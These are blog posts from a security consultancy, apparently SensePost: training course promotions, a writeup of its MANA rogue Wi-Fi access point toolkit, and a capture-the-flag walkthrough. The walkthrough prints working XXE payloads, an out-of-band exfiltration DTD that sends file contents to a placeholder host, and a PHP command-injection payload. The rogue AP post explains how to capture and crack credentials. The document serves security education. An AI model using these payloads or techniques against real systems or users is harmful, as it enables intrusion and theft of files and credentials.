Grey bar Blue bar
Share this:

Wed, 4 Mar 2015

SensePost Training

sensepost_blackhat
Over those years, we've trained thousands of students in the art of offensive and defensive security through our Hacking by Numbers courses.


Our courses are taken directly from the work we do. When we compromise networks, or applications with new techniques, they're turned into modules in the appropriate course. We also don't use trainers; every course is given by one of our analysts to keep it authentic.


For our fifteenth year, we've decided it was time to retire the ‘Hacking by Numbers' name and just call it was it really always has been: SensePost Training.


We've also simplified the path to offensive security mastery with our artisanal, fair trade, hand crafted training courses:


sensepost_training_flow


Beginner


The beginner course lies at the start of the journey. This course doesn't assume anything of the student other than desire to learn. The course will present the background information, technical skill and basic concepts to get a student going in the field of information security (we can't bring ourselves to say “cyber”).


Students will start at learning how to use the command line interface for Linux to get the best out of an offensive Linux tool-set, then delve into networking fundamentals and vulnerability discovery and finally, learn how to exploit common weaknesses within the network, application, mobile and wireless arenas.


The course will serve those wanting to understand the offensive security world as well as those looking to join it. It's a fun course with plenty of hands on exploitation and owning stuff. For more information, visit Blackhat's USA training page here.


Journeyman


‘A journeyman is an individual who has completed an apprenticeship and is fully educated in a trade or craft, but not yet a master' Wikipedia.


The Journeyman layer is where you learn the trade in order to become a master. This layer is where our decade and a half of experience in gaining access to everything from ships to data centers is most evident. Each of the journeyman courses are hands on, fully interactive and teach the latest approaches and techniques for exploiting everything! We've completely revamped the courses and our analysts typically add new techniques as they happen, sometimes even during the course.


The journeyman series contain several courses focused on specific areas of specialisation, from hacking networks and applications, to securing code, to signals (wireless) and advanced second order compromises (spec ops).


If you are looking to expand your skill-set then these courses are for you.


Master


At the top of the learning tree is our brand new Master course. This course is aimed at those students who've completed one or more of the Journeyman courses, or are working senior penetration testers. Nmap's man page, Metasploits internals, or network pivoting should not be new concepts.


This course sets about teaching students how to hack like an APT; with strong offensive focus drawing on the techniques employed in recent industry hacks. Students will be thrown into environments they've never seen before, and forced to rely on wits, or shown how to turn the mundane into the extraordinary.


To learn more about this course being offered at Blackhat USA, head over to here.


Conclusion


When you love what you do, you love showing others how to do it; training is at the heart of what we do at SensePost. Using our decade of BlackHat training experience, we've put a lot of thought into creating some awesome courses for our fellow hackers. We hope to seeing you in one at BlackHat USA Las Vegas 2015.

Mon, 23 Feb 2015

Improvements in Rogue AP attacks - MANA 1/2

At Defcon 22 we presented several improvements in wifi rogue access point attacks. We entitled the talk "Manna from heaven" and released the MANA toolkit. I'll be doing two blog entries. The first will describe the improvements made at a wifi layer, and the second will cover the network credential interception stuff. If you just want the goodies, you can get them at the end of this entry for the price of scrolling down.


Introduction


This work is about rogue access points, by which we mean a wireless access point that mimics real ones in an attempt to get users to connect to it. The initial work on this was done in 2004 by Dino dai Zovi and Shaun Macaulay. They realised that the way wifi devices probe for wireless networks that they've "remembered" happens without authentication, and that if a malicious access point merely responds to these directed probes, it can trick wireless clients into connecting to it. They called this a KARMA attack.


Additionally, Josh Wright and Brad Antoniewicz in 2008 worked out that if you man in the middle the EAP authentication on secured networks, you could crack that hash and gain access to the network yourself. They implemented this in freeradius-wpe (wireless pwnage edition).


However, KARMA attacks no longer work well, and we wanted to know why. Also, the WPE stuff seemed ripe for use in rogue access points rather than just for gaining access to the original network. This is what we implemented.


Changes in Probing


After a significant amount of time poring over radio captures of the ways in which various devices probed, and informed by our previous work on Snoopy, we realised two things. The first is that modern devices, particularly mobile ones, won't listen to directed probe responses for open, non-hidden networks if that AP didn't also/first respond to a broadcast probe. What this means is that our rogue access point needs to implement the same. However, the challenge is, what do we respond to the broadcast probe *with*?


To overcome that, we took the existing KARMA functionality built by Digininja, ported it to the latest version of hostapd and extended it to store a view of the "remembered networks" (aka the Preferred Network List (PNL)) for each device it sees. Then when hostapd-mana sees a broadcast probe from that device, it will respond with a directed probe response for each network hostapd-mana knows to be in that device's PNL. This is based on our finding, that wifi clients don't have a problem with a single BSSID (i.e. AP MAC address) to have several ESSIDs (aka SSID aka network name).


Practically, suppose there are two devices, one probing for a network foo, and the other probing for two networks bar and baz. When device1 sends a broadcast probe, hostapd-mana will respond with a directed probe response for foo to device1. Likewise when device2 sends a broadcast probe, hostapd-mana will respond with two directed probe responses to device 2, one for bar and one for baz. In addition, the "normal" KARMA functionality of responding to directed probes will also occur. Practically, we found this significantly improved the effectiveness of our rogue AP.


iOS and hidden networks


iOS presented an interesting challenge to us when it came to hidden networks. A hidden network is one configured not to broadcast its ESSID in either its beacons or broadcast probe response. Practically, the only way a client device can know if the hidden network it has remembered is nearby is by constantly sending out directed probes for the network. This is why hidden networks aren't a very good design, as their clients need to spew their names out all over the place. However, when observing iOS devices, while they could join a hidden network just fine, they seemed to not probe for it most of the time. This had us constructing faraday cages, checking other factors like BSSID and geolocation to no avail. Until we realised that iOS will not probe for any hidden networks in its PNL, unless there is at least one hidden network nearby. So, if you'd like to maximise your rogue'ing, make sure you have a hidden network nearby. It doesn't even need to be a real network; use a mifi, use airbase-ng or just create another hostapd network.


Limits in probing


Modern mobile devices probe for networks on their PNL *significantly* less than laptops or older devices do. In an ideal world, manufacturers would change the implementation to never probe for open network, and only wait for a response to a broadcast, effectively limiting these attacks to requiring pre-knowledge, common networks or being performed in the vicinity of the actual network. Actually, a patch was pushed to wpa_supplicant to limit the stupid probing behaviour Android does in low power mode a few months ago, this will make it into Android proper sometime soon. Also, iOS has significantly reduced how often it probes.


There are two ways to work around this. The first is manual; go for a common network. The rise of city-wide wifi projects makes this somewhat easy. Or if you're going for a corporate network, just do some recon and name one of your access points after that. But, we wanted to make things work better than that. The default behaviour of hostapd-mana is to build up a view of each devices PNL and only respond to broadcasts with networks specific to that device. However, we can remove that limitation and build a global PNL, and respond to each broadcast with every network every device has probed for. We call this loud mode, and it's configurable in the hostapd-mana config. This relies on the fact that many devices, particularly laptops and older mobile devices still probe for networks a lot. It also relies on the fact that many devices have networks in common (have they been in the same city, same airport, same conference, same company, same pocket etc.). This works *very* well in less crowded areas, and you'll get a much higher number of devices connecting.


However, in busy areas, or if your antenna is large enough, you'll quickly exceed the capacity for your average wifi device to respond fast enough to all of the devices, and as the number of response probes grows exponentially with each new device, even in quiet areas over time, this problem crops up (but didn't on stage at Defcon miraculously). So, it's *good enough* for now, but needs an in-kernel or in-firmware implementation with some network ageing to scale a bit better (one of the many opportunities for extending this work if you're up for some open source contribution).


Auto Crack 'n Add


freeradius-wpe is great, it provides a nice way to grab EAP hashes for clients that don't validate certificates presented via EAP's that implement SSL (PEAP, EAP-GTC, PEAL-TTLS). However, the patches are for freeradius v1 and, much like the KARMA patches for hostapd, have aged. But, hostapd contains a radius server, and so we could port the freeradius-wpe work to that, something we based off some initial but incomplete patches by Brad Antoniewicz. So hostapd-mana will also let you grab EAP hashes without needing another tool.


However, the KARMA attacks only work against open wifi networks. EAP networks are increasingly common (especially corporate ones) and we wanted to be able to have a go at getting devices probing for those to connect to our rogue AP. To do this, we modified hostapd-mana to always accept any EAP hash, but send it off for cracking. It simply writes these to a file, from which the simple python tool crackapd (included) will grab it and send it off to another process for cracking. Currently, we use asleap (also by Josh) and the rockyou password list, but these can all be easily modified. For example, to use CloudCracker and its incredibly optimised MS-CHAPv2 cracking setup.


The net result is pretty great for simple EAP hashes. The device will try and connect, and fail as we don't know enough to do the challenge response right. But after the hash is cracked, when it retries to connect (something a device will keep doing) it will succeed (and you'll have your first creds). For simple hashes, this is transparent to the user. Of course, very complex hashes will only work if you crack them in time. Worst case scenario, you leave with hashes.


Conclusion


So that's what we built into hostapd-mana. You get improved KARMA attacks, a modern hostapd version, an integrated hash stealer, and the possibility of rogue'ing some EAP networks. You can get the full toolkit at MANA toolkit on GitHub or our hostapd-mana at hostapd-mana on GitHub.


The next blog entry will cover what we did once we got a device to connect.


The Goodies


The Defcon talk:


The supporting slide deck with more information:


The final toolkit: MANA toolkit on GitHub You can also get this on Kali with "apt-get install mana-toolkit"


The modified hostapd (for hackers or people who want to build their own setup): hostapd-mana on GitHub

Fri, 27 Jun 2014

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:


The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.

Walk-through


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:


The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.


The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.


Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:




<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<foo>&xxe;</foo>


This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).




<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<rss>
<channel>
<title>FreeStuff</title>
<link>http://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>RSS Tutorial</title>
<link>http://www.w3schools.com/rss</link>
<description>&xxe;</description>
</item>
<item>
<title>XML Tutorial</title>
<link>http://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>


And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:


The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.


The submitted POST request
The submitted POST request


It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:




<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">


Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:




<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>


We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.


Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.


As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:


The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.


Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":


Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:




<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>


Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Winners!


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.


The two runners up who both can claim one of our awesome 2014 t-shirts:


Vitaly aka @send9


Sash aka @secdefect


Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela

Thu, 19 Jun 2014

Hacking Challenge: Drive a tank through it

russia-dashboard-cam-tank-drives-across-road-snow-1359329911C
At SensePost we get to enjoy some challenging assessments and do pretty epic things. Some days it feels like the only thing that could make it better would be driving tanks while doing it. The best hacks normally make their way into our training courses as practical exercises where students get to replicate (and improve on) these hacks. However, we know that there isn't always room for all the epicness and unfortunately not everyone can attend the training. So we put some into a challenge for you. We've taken a few recent hacks and rolled them into one challenge, can you crack it?


Target: http://challenge.sensepost.com/
Starting-point: Read the contents of /home/spuser/flag1.txt
Once you've completed the challenge, email us with a screenshot of your victory and a short overview of how you did it.
The prize: The winner of this challenge will be offered a free seat on any one of the SensePost training courses at Black Hat 2014.


It's almost Black Hat time again and as always SensePost will be presenting numerous Hacking by Numbers training course, which we've rewritten this year. For more information on the training courses on offer at Black Hat this year, check out:


Good luck comrade!

Tue, 20 May 2014

Mobile Training Reloaded - Las Vegas

Get some.

Exploiting next gen apps
With the explosion in mobile device popularity and the applications that go along with these, testing mobile application security has become a key skill in every pentester's arsenal. Last year we launched the Hacking by Numbers: Mobile, course at BlackHat Las Vegas and follow up training at BlackHat WestCoast Trainings. This year we are taking Mobile training to the next level with Hacking by Numbers reloaded, Mobile Bootcamp (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)


The course has undergone the full reloaded treatment, with our trainers pouring new tips, tricks and skills into the course, along with incorporating feedback from previous students.

You said mobile?


The mobile space has numerous platforms, each with their own nuances, that would leave any new pentester dizzy. Fortunately this is where the Mobile bootcamp course excels, offering the perfect blend of introductory and advanced techniques, the training is ideal for anyone looking to start testing mobile applications or the experienced tester who is looking to branch out to new platforms.


The training introduces all the core skills required to test applications across the major mobile platforms, particularly:


  • Android

  • IOS

  • Blackberry

  • Windows Phone 8


Training is built around around demonstration and hands-on practical exploitation, with custom practical exercises derived from real-world application security fails.


For a full break-down of the course structure check-out our BlackHat training page (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)

Who should attend?


The course is relevant for attackers, defenders and developers. Students should have some technical ability in Linux, and understand networking fundamentals, but this is a bootcamp level course. Basic programming knowledge is recommended but not essential.


Your trainers will be Etienne (@kamp_staaldraad) and Jurgens, both crazy about mobile security and have executed numerous killshots on all the major mobile platforms.


- Etienne and Jurgens -